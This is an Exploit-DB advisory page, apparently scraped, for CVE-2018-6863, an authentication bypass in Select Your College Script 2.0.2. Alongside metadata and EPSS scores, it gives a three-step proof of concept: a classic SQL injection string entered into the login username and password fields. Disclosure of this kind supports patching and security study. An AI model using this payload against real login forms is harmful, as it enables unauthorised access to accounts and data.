Lucene search

K
exploitdbExploit-DBEDB-ID:44014
HistoryFeb 10, 2018 - 12:00 a.m.

Select Your College Script 2.0.2 - Authentication Bypass

2018-02-1000:00:00
Exploit-DB
www.exploit-db.com
11

0.003 Low

EPSS

Percentile

68.2%

Select Your College Script 2.0.2 - Authentication Bypass. CVE-2018-6863. Webapps exploit for PHP platform

######################################################################################
# Exploit Title: Select Your College Script - 2.0.2 - Authentication Bypass
# Date: 07.02.2018
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link:https://www.phpscriptsmall.com/product/select-your-college-script/
# Category: Web Application
# Exploit Author: Prasenjit Kanti Paul
# Web: http://hack2rule.wordpress.com/
# Version: 2.0.2
# Tested on: Linux Mint
# CVE: CVE-2018-6863
#######################################################################################

Proof of Concept

1. Goto login page
2. put [admin' OR '1' = '1] as user and password field
3. You will be logged in as an authenticated user

0.003 Low

EPSS

Percentile

68.2%